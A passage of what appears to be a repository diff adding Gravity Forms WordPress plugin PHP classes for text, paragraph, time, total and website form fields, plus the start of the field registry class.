$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$input = "<input name='input_{$id}' id='{$field_id}' type='{$html_input_type}' value='{$value}' class='{$class}' {$max_length} {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>";
return sprintf( "<div class='ginput_container ginput_container_text'>%s</div>", $input );
}
public function allow_html() {
return in_array( $this->type, array( 'post_custom_field', 'post_tags' ) ) ? true : false;
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GF_Field::get_allowable_tags()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
if ( $format === 'html' ) {
$value = $raw_value;
if ( $nl2br ) {
$value = nl2br( $value );
}
$form_id = absint( $form['id'] );
$allowable_tags = $this->get_allowable_tags( $form_id );
if ( $allowable_tags === false ) {
// The value is unsafe so encode the value.
$return = esc_html( $value );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = $value;
}
} else {
$return = $value;
}
return $return;
}
/**
* Format the entry value safe for displaying on the entry list page.
*
* @since Unknown
* @access public
*
* @uses GF_Field::get_allowable_tags()
*
* @param string $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
if ( is_array( $value ) ) {
return '';
}
$form_id = absint( $form['id'] );
$allowable_tags = $this->get_allowable_tags( $form_id );
if ( $allowable_tags === false ) {
// The value is unsafe so encode the value.
$return = esc_html( $value );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = $value;
}
return $return;
}
/**
* Format the entry value safe for displaying on the entry detail page and for the {all_fields} merge tag.
*
* @param string|array $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( is_array( $value ) ) {
return '';
}
if ( $format === 'html' ) {
$value = nl2br( $value );
$allowable_tags = $this->get_allowable_tags();
if ( $allowable_tags === false ) {
// The value is unsafe so encode the value.
$return = esc_html( $value );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = $value;
}
} else {
$return = $value;
}
return $return;
}
}
GF_Fields::register( new GF_Field_Text() );

View File

@@ -0,0 +1,325 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Textarea extends GF_Field {
public $type = 'textarea';
public function get_form_editor_field_title() {
return esc_attr__( 'Paragraph Text', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'maxlen_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_textarea_setting',
'placeholder_textarea_setting',
'description_setting',
'css_class_setting',
'rich_text_editor_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function allow_html() {
return empty( $this->useRichTextEditor ) ? false : true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$tabindex = $this->get_tabindex();
if ( $this->get_allowable_tags() === false ) {
$value = esc_textarea( $value );
}
//see if the field is set to use the rich text editor
if ( ! $is_admin && $this->is_rich_edit_enabled() ) {
//placeholders cannot be used with the rte; message displayed in admin when this occurs
//field cannot be used in conditional logic by another field; message displayed in admin and field removed from conditional logic drop down
$tabindex = GFCommon::$tab_index > 0 ? GFCommon::$tab_index ++ : '';
add_filter( 'mce_buttons', array( $this, 'filter_mce_buttons' ), 10, 2 );
/**
* Filters the field options for the rich text editor.
*
* @since 2.0.0
*
* @param array $editor_settings Array of settings that can be changed.
* @param object $this The field object
* @param array $form Current form object
* @param array $entry Current entry object, if available
*
* Additional filters for specific form and fields IDs.
*/
$editor_settings = apply_filters( 'gform_rich_text_editor_options', array(
'textarea_name' => 'input_' . $id,
'wpautop' => true,
'editor_class' => $class,
'editor_height' => rgar( array( 'small' => 110, 'medium' => 180, 'large' => 280 ), $this->size ? $this->size : 'medium' ),
'tabindex' => $tabindex,
'media_buttons' => false,
'quicktags' => false,
'tinymce' => array( 'init_instance_callback' => "function (editor) {
editor.on( 'keyup paste mouseover', function (e) {
var content = editor.getContent( { format: 'text' } ).trim();
var textarea = jQuery( '#' + editor.id );
textarea.val( content ).trigger( 'keyup' ).trigger( 'paste' ).trigger( 'mouseover' );
});}" ),
), $this, $form, $entry );
$editor_settings = apply_filters( sprintf( 'gform_rich_text_editor_options_%d', $form['id'] ), $editor_settings, $this, $form, $entry );
$editor_settings = apply_filters( sprintf( 'gform_rich_text_editor_options_%d_%d', $form['id'], $this->id ), $editor_settings, $this, $form, $entry );
if ( ! has_action( 'wp_tiny_mce_init', array( __class__, 'start_wp_tiny_mce_init_buffer' ) ) ) {
add_action( 'wp_tiny_mce_init', array( __class__, 'start_wp_tiny_mce_init_buffer' ) );
}
ob_start();
wp_editor( $value, $field_id, $editor_settings );
$input = ob_get_clean();
remove_filter( 'mce_buttons', array( $this, 'filter_mce_buttons' ), 10 );
} else {
$input = '';
$input_style = '';
// RTE preview
if ( $this->is_form_editor() ) {
$display = $this->useRichTextEditor ? 'block' : 'none';
$input_style = $this->useRichTextEditor ? 'style="display:none;"' : '';
$size = $this->size ? $this->size : 'medium';
$input = sprintf( '<div id="%s_rte_preview" class="gform-rte-preview %s" style="display:%s"></div>', $field_id, $size, $display );
}
$input .= "<textarea name='input_{$id}' id='{$field_id}' class='textarea {$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text} {$input_style} rows='10' cols='50'>{$value}</textarea>";
}
return sprintf( "<div class='ginput_container ginput_container_textarea'>%s</div>", $input );
}
public function validate( $value, $form ) {
if ( ! is_numeric( $this->maxLength ) ) {
return;
}
if ( $this->useRichTextEditor ) {
$value = wp_specialchars_decode( $value );
}
// Clean the string of characters not counted by the textareaCounter plugin.
$value = strip_tags( $value );
$value = str_replace( "\r", '', $value );
$value = trim( $value );
if ( GFCommon::safe_strlen( $value ) > $this->maxLength ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'The text entered exceeds the maximum number of characters.', 'gravityforms' ) : $this->errorMessage;
}
}
public static function start_wp_tiny_mce_init_buffer() {
ob_start();
add_action( 'after_wp_tiny_mce', array( __class__, 'end_wp_tiny_mce_init_buffer' ), 1 );
}
public static function end_wp_tiny_mce_init_buffer() {
$script = ob_get_clean();
$pattern = '/(<script.*>)([\s\S]+)(<\/script>)/';
preg_match_all( $pattern, $script, $matches, PREG_SET_ORDER );
foreach ( $matches as $match ) {
list( $search, $open_tag, $guts, $close_tag ) = $match;
$custom = "if ( typeof current_page === 'undefined' ) { return; }\nfor( var id in tinymce.editors ) { tinymce.EditorManager.remove( tinymce.editors[id] ); }";
$replace = sprintf( "%s\njQuery( document ).bind( 'gform_post_render', function( event, form_id, current_page ) { \n%s\n%s } );\n%s", $open_tag, $custom, $guts, $close_tag );
$script = str_replace( $search, $replace, $script );
}
echo $script;
}
public function filter_mce_buttons( $mce_buttons, $editor_id ) {
$remove_key = array_search( 'wp_more', $mce_buttons );
if ( $remove_key !== false ) {
unset( $mce_buttons[ $remove_key ] );
}
/**
* Filters the buttons within the TinyMCE editor
*
* @since 2.0.0
*
* @param array $mce_buttons Buttons to be included.
* @param string $editor_id HTML ID of the field.
* @param object $this The field object
*
* Additional filters for specific form and fields IDs.
*/
$mce_buttons = apply_filters( 'gform_rich_text_editor_buttons', $mce_buttons, $editor_id, $this );
$mce_buttons = apply_filters( sprintf( 'gform_rich_text_editor_buttons_%d', $this->formId ), $mce_buttons, $editor_id, $this );
$mce_buttons = apply_filters( sprintf( 'gform_rich_text_editor_buttons_%d_%d', $this->formId, $this->id ), $mce_buttons, $editor_id, $this );
return $mce_buttons;
}
/**
* Format the entry value for display on the entry detail page and for the {all_fields} merge tag.
* Return a value that's safe to display for the context of the given $format.
*
* @param string|array $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( $format === 'html' ) {
$allowable_tags = $this->get_allowable_tags();
if ( $allowable_tags === false ) {
// The value is unsafe so encode the value.
$value = esc_html( $value );
$return = nl2br( $value );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = wpautop( $value );
}
} else {
$return = $value;
}
return $return;
}
/**
* Format the entry value for when the field/input merge tag is processed. Not called for the {all_fields} merge tag.
*
* Return a value that is safe for the context specified by $format.
*
* @since Unknown
* @access public
*
* @param string|array $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
if ( $format === 'html' ) {
$form_id = absint( $form['id'] );
$allowable_tags = $this->get_allowable_tags( $form_id );
if ( $allowable_tags === false ) {
// The raw value is unsafe so escape it.
$return = esc_html( $raw_value );
// Run nl2br() to preserve line breaks when auto-formatting is disabled on notifications/confirmations.
$return = nl2br( $return );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = wpautop( $raw_value );
}
} else {
$return = $value;
}
return $return;
}
/**
* Determines if the RTE can be enabled for the current field and user.
*
* @since 2.2.5.14
*
* @return bool
*/
public function is_rich_edit_enabled() {
if ( ! $this->useRichTextEditor ) {
return false;
}
global $wp_rich_edit;
$wp_rich_edit = null;
add_filter( 'get_user_option_rich_editing', array( $this, 'filter_user_option_rich_editing' ) );
$user_can_rich_edit = user_can_richedit();
remove_filter( 'get_user_option_rich_editing', array( $this, 'filter_user_option_rich_editing' ) );
return $user_can_rich_edit;
}
/**
* Filter the rich_editing option for the current user.
*
* @since 2.2.5.14
*
* @param string $value The value of the rich_editing option for the current user.
*
* @return string
*/
public function filter_user_option_rich_editing( $value ) {
return 'true';
}
}
GF_Fields::register( new GF_Field_Textarea() );

View File

@@ -0,0 +1,398 @@
<?php
// If Gravity Forms isn't loaded, bail.
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class GF_Field_Time
*
* Handles Time fields.
*
* @since Unknown
* @uses GF_Field
*/
class GF_Field_Time extends GF_Field {
/**
* Sets the field type to be used in the field framework.
*
* @since Unknown
* @access public
*
* @var string $type The type of field this is.
*/
public $type = 'time';
/**
* Sets the title of the field to be used in the form editor.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_type_title()
* @used-by GFAddOn::get_field_map_choices()
* @used-by GFAddOn::prepare_field_select_field()
* @used-by GFAddOn::settings_field_map_select()
* @used-by GF_Field::get_form_editor_button()
*
* @return string The field title.
*/
public function get_form_editor_field_title() {
return esc_attr__( 'Time', 'gravityforms' );
}
/**
* Defines the field editor settings that are available for this field.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::inline_scripts()
*
* @return array Contains the settings available within the field editor.
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'sub_labels_setting',
'label_placement_setting',
'sub_label_placement_setting',
'admin_label_setting',
'time_format_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_input_values_setting',
'input_placeholders_setting',
'description_setting',
'css_class_setting',
);
}
/**
* Validates the field inputs.
*
* @since Unknown
* @access public
*
* @used-by GFFormDisplay::validate()
* @uses GF_Field_Time::$failed_validation
* @uses GF_Field_Time::$validation_message
* @uses GF_Field_Time::$timeFormat
* @uses GF_Field_Time::$errorMessage
*
* @param array|string $value The field value or values to validate.
* @param array $form The Form Object.
*
* @return void
*/
public function validate( $value, $form ) {
// Create variable values if time came in one field.
if ( ! is_array( $value ) && ! empty( $value ) ) {
preg_match( '/^(\d*):(\d*) ?(.*)$/', $value, $matches );
$value = array();
$value[0] = $matches[1];
$value[1] = $matches[2];
}
$hour = rgar( $value, 0 );
$minute = rgar( $value, 1 );
if ( empty( $hour ) && empty( $minute ) ) {
return;
}
$is_valid_format = is_numeric( $hour ) && is_numeric( $minute );
$min_hour = $this->timeFormat == '24' ? 0 : 1;
$max_hour = $this->timeFormat == '24' ? 24 : 12;
$max_minute = $hour >= 24 ? 0 : 59;
if ( ! $is_valid_format || $hour < $min_hour || $hour > $max_hour || $minute < 0 || $minute > $max_minute ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid time.', 'gravityforms' ) : $this->errorMessage;
}
}
/**
* Defines how the Time field input is shown.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_input()
* @uses GF_Field::is_entry_detail()
* @uses GF_Field::is_form_editor()
* @uses GF_Field_Time::$subLabelPlacement
* @uses GFFormsModel::get_input()
* @uses GF_Field::get_input_placeholder_attribute()
* @uses GF_Field::get_tabindex()
* @uses GFFormsModel::is_html5_enabled()
*
* @param array $form The Form Object.
* @param string $value The field default value. Defaults to empty string.
* @param array|null $entry The Entry Object, if available. Defaults to null.
*
* @return string The field HTML markup.
*/
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$form_id = absint( $form['id'] );
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
$field_sub_label_placement = $this->subLabelPlacement;
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$hour = $minute = $am_selected = $pm_selected = '';
if ( ! is_array( $value ) && ! empty( $value ) ) {
preg_match( '/^(\d*):(\d*) ?(.*)$/', $value, $matches );
$hour = esc_attr( $matches[1] );
$minute = esc_attr( $matches[2] );
$the_rest = strtolower( rgar( $matches, 3 ) );
$am_selected = strpos( $the_rest, 'am' ) > -1 ? "selected='selected'" : '';
$pm_selected = strpos( $the_rest, 'pm' ) > -1 ? "selected='selected'" : '';
} elseif ( is_array( $value ) ) {
$value = array_values( $value );
$hour = esc_attr( $value[0] );
$minute = esc_attr( $value[1] );
$am_selected = strtolower( rgar( $value, 2 ) ) == 'am' ? "selected='selected'" : '';
$pm_selected = strtolower( rgar( $value, 2 ) ) == 'pm' ? "selected='selected'" : '';
}
$hour_input = GFFormsModel::get_input( $this, $this->id . '.1' );
$minute_input = GFFormsModel::get_input( $this, $this->id . '.2' );
$hour_placeholder_attribute = $this->get_input_placeholder_attribute( $hour_input );
$minute_placeholder_attribute = $this->get_input_placeholder_attribute( $minute_input );
$hour_tabindex = $this->get_tabindex();
$minute_tabindex = $this->get_tabindex();
$ampm_tabindex = $this->get_tabindex();
$is_html5 = RGFormsModel::is_html5_enabled();
$input_type = $is_html5 ? 'number' : 'text';
$max_hour = $this->timeFormat == '24' ? 24 : 12;
$hour_html5_attributes = $is_html5 ? "min='0' max='{$max_hour}' step='1'" : '';
$minute_html5_attributes = $is_html5 ? "min='0' max='59' step='1'" : '';
$ampm_field_style = $is_form_editor && $this->timeFormat == '24' ? "style='display:none;'" : '';
if ( $is_form_editor || $this->timeFormat != '24' ) {
$am_text = esc_html__( 'AM', 'gravityforms' );
$pm_text = esc_html__( 'PM', 'gravityforms' );
$ampm_field = $is_sub_label_above ? "<div class='gfield_time_ampm ginput_container ginput_container_time' {$ampm_field_style}>
<label for='{$field_id}_3'>&nbsp;</label>
<select name='input_{$id}[]' id='{$field_id}_3' $ampm_tabindex {$disabled_text}>
<option value='am' {$am_selected}>{$am_text}</option>
<option value='pm' {$pm_selected}>{$pm_text}</option>
</select>
</div>"
: "<div class='gfield_time_ampm ginput_container ginput_container_time' {$ampm_field_style}>
<select name='input_{$id}[]' id='{$field_id}_3' $ampm_tabindex {$disabled_text}>
<option value='am' {$am_selected}>{$am_text}</option>
<option value='pm' {$pm_selected}>{$pm_text}</option>
</select>
</div>";
} else {
$ampm_field = '';
}
$hour_label = rgar( $hour_input, 'customLabel' ) != '' ? $hour_input['customLabel'] : esc_html__( 'HH', 'gravityforms' );
$minute_label = rgar( $minute_input, 'customLabel' ) != '' ? $minute_input['customLabel'] : esc_html( _x( 'MM', 'Abbreviation: Minutes', 'gravityforms' ) );
if ( $is_sub_label_above ) {
return "<div class='clear-multi'>
<div class='gfield_time_hour ginput_container ginput_container_time' id='{$field_id}'>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$hour_label}</label>
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$hour}' {$hour_tabindex} {$hour_html5_attributes} {$disabled_text} {$hour_placeholder_attribute}/> <i>:</i>
</div>
<div class='gfield_time_minute ginput_container ginput_container_time'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$minute_label}</label>
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$minute}' {$minute_tabindex} {$minute_html5_attributes} {$disabled_text} {$minute_placeholder_attribute}/>
</div>
{$ampm_field}
</div>";
} else {
return "<div class='clear-multi'>
<div class='gfield_time_hour ginput_container ginput_container_time' id='{$field_id}'>
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$hour}' {$hour_tabindex} {$hour_html5_attributes} {$disabled_text} {$hour_placeholder_attribute}/> <i>:</i>
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$hour_label}</label>
</div>
<div class='gfield_time_minute ginput_container ginput_container_time'>
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$minute}' {$minute_tabindex} {$minute_html5_attributes} {$disabled_text} {$minute_placeholder_attribute}/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$minute_label}</label>
</div>
{$ampm_field}
</div>";
}
}
/**
* Adds additional classes to the field labels.
*
* @since Unknown
* @access public
*
* @used-by GF_Field::get_field_content()
*
* @return string The class string to use for the Time field.
*/
public function get_field_label_class(){
return 'gfield_label gfield_label_before_complex';
}
/**
* Determines if any of the submission values are empty.
*
* @since Unknown
* @access public
*
* @used-by GFFormDisplay::is_empty()
*
* @param int $form_id The form ID.
*
* @return bool True if empty. False otherwise.
*/
public function is_value_submission_empty( $form_id ) {
$value = rgpost( 'input_' . $this->id );
if ( is_array( $value ) ) {
// Date field and date drop-downs.
foreach ( $value as $input ) {
if ( strlen( trim( $input ) ) <= 0 ) {
return true;
}
}
return false;
} else {
// Date picker.
return strlen( trim( $value ) ) <= 0;
}
}
/**
* Prepares the field value to be saved after an entry is submitted.
*
* @since Unknown
* @access public
*
* @used-by GFFormsModel::prepare_value()
*
* @param string $value The value to prepare.
* @param array $form The Form Object. Not used.
* @param string $input_name The name of the input. Not used.
* @param int $lead_id The entry ID. Not used.
* @param array $lead The Entry Object. Not used.
*
* @return array|string The field value, prepared and stripped of tags.
*/
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( empty( $value ) && ! is_array( $value ) ) {
return '';
}
// If $value is a default value and also an array, it will be an associative array; to be safe, let's convert all array $value to numeric.
if ( is_array( $value ) ) {
$value = array_values( $value );
}
if ( ! is_array( $value ) && ! empty( $value ) ) {
preg_match( '/^(\d*):(\d*) ?(.*)$/', $value, $matches );
$value = array();
$value[0] = $matches[1];
$value[1] = $matches[2];
$value[2] = rgar( $matches, 3 );
}
$hour = wp_strip_all_tags( $value[0] );
$minute = wp_strip_all_tags( $value[1] );
$ampm = wp_strip_all_tags( rgar( $value, 2 ) );
if ( ! empty( $ampm ) ) {
$ampm = " $ampm";
}
if ( ! ( rgblank( $hour ) && rgblank( $minute ) ) ) {
$value = sprintf( '%02d:%02d%s', $hour, $minute, $ampm );
} else {
$value = '';
}
return $value;
}
/**
* Overrides GF_Field to prevent the standard input ID from being used.
*
* @since Unknown
* @access public
*
* @return null
*/
public function get_entry_inputs() {
return null;
}
/**
* Support for legacy Time fields which did not have an inputs array.
*
* @since Unknown
* @access public
*
* @used-by GF_Field::get_field_content()
* @uses GF_Field::get_first_input_id()
*
* @param array $form The Form Object
*
* @return string The first input ID.
*/
public function get_first_input_id( $form ) {
// Legacy (< 1.9) Time fields did not have an inputs array.
if ( ! is_array( $this->inputs ) ){
return 'input_' . $form['id'] . '_' . $this->id . '_1';
}
return parent::get_first_input_id( $form );
}
/**
* Sanitizes settings for the Time field.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::add_field()
* @used-by GFFormsModel::sanitize_settings()
* @uses GF_Field::sanitize_settings
* @uses GF_Field_Time::$timeFormat
*
* @return void
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( ! $this->timeFormat || ! in_array( $this->timeFormat, array( 12, 24 ) ) ) {
$this->timeFormat = '12';
}
}
}
// Register the Time field with the field framework.
GF_Fields::register( new GF_Field_Time() );

View File

@@ -0,0 +1,97 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Total extends GF_Field {
public $type = 'total';
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'description_setting',
'css_class_setting',
);
}
public function get_form_editor_field_title() {
return esc_attr__( 'Total', 'gravityforms' );
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
if ( $is_entry_detail ) {
return "<div class='ginput_container ginput_container_total'>
<input type='text' name='input_{$id}' value='{$value}' />
</div>";
} else {
return "<div class='ginput_container ginput_container_total'>
<span class='ginput_total ginput_total_{$form_id}'>" . GFCommon::to_money( '0' ) . "</span>
<input type='hidden' name='input_{$id}' id='{$field_id}' class='gform_hidden'/>
</div>";
}
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::to_money( $value, $currency );
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
$lead = empty( $lead ) ? RGFormsModel::get_lead( $lead_id ) : $lead;
$value = GFCommon::get_order_total( $form, $lead );
return $value;
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
return GFCommon::to_money( $value, $entry['currency'] );
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GFCommon::to_number()
* @uses GFCommon::to_money()
* @uses GFCommon::format_variable_value()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$format_numeric = $modifier == 'price';
$value = $format_numeric ? GFCommon::to_number( $value ) : GFCommon::to_money( $value );
return GFCommon::format_variable_value( $value, $url_encode, $esc_html, $format );
}
}
GF_Fields::register( new GF_Field_Total() );

View File

@@ -0,0 +1,101 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Website extends GF_Field {
public $type = 'website';
public function get_form_editor_field_title() {
return esc_attr__( 'Website', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function validate( $value, $form ) {
if ( empty( $value ) || $value == 'http://' ) {
$value = '';
if ( $this->isRequired ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
}
}
if ( ! empty( $value ) && ! GFCommon::is_valid_url( $value ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid Website URL (e.g. http://www.gravityforms.com).', 'gravityforms' ) : $this->errorMessage;
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$form_id = $form['id'];
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$is_html5 = RGFormsModel::is_html5_enabled();
$html_input_type = $is_html5 ? 'url' : 'text';
$max_length = is_numeric( $this->maxLength ) ? "maxlength='{$this->maxLength}'" : '';
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$tabindex = $this->get_tabindex();
$value = esc_attr( $value );
$class = esc_attr( $class );
return "<div class='ginput_container ginput_container_website'>
<input name='input_{$id}' id='{$field_id}' type='$html_input_type' value='{$value}' class='{$class}' {$max_length} {$tabindex} {$logic_event} {$disabled_text} {$placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
</div>";
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$safe_value = esc_url( $value );
return GFCommon::is_valid_url( $value ) && $format == 'html' ? "<a href='$safe_value' target='_blank'>$safe_value</a>" : $safe_value;
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( $value == 'http://' ) {
$value = '';
}
return filter_var( $value, FILTER_VALIDATE_URL );
}
}
GF_Fields::register( new GF_Field_Website() );

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,103 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
require_once( plugin_dir_path( __FILE__ ) . 'class-gf-field.php' );
class GF_Fields {
public static $deprecation_notice_fired = false;
/* @var GF_Field[] */
private static $_fields = array();
public static function register( $field ) {
if ( ! is_subclass_of( $field, 'GF_Field' ) ) {
throw new Exception( 'Must be a subclass of GF_Field' );
}
if ( empty( $field->type ) ) {
throw new Exception( 'The type must be set' );
}
if ( isset( self::$_fields[ $field->type ] ) ) {
throw new Exception( 'Field type already registered: ' . $field->type );
}
self::$_fields[ $field->type ] = $field;
}
public static function exists( $field_type ) {
return isset( self::$_fields[ $field_type ] );
}
/**
* @param $field_type
*
* @return GF_Field
*/
public static function get_instance( $field_type ) {
return isset( self::$_fields[ $field_type ] ) ? self::$_fields[ $field_type ] : false;
}
/**
* Alias for get_instance()
*
* @param $field_type
*
* @return GF_Field
*/
public static function get( $field_type ) {
return self::get_instance( $field_type );
}
/**
* Return all the registered field types.
*
* @return GF_Field[]
*/
public static function get_all() {
return self::$_fields;
}
/**
* Creates a Field object from an array of field properties.
*
* @param array|GF_Field $properties
*
* @return GF_Field | bool
*/
public static function create( $properties ) {
if ( $properties instanceof GF_Field ) {
$type = $properties->type;
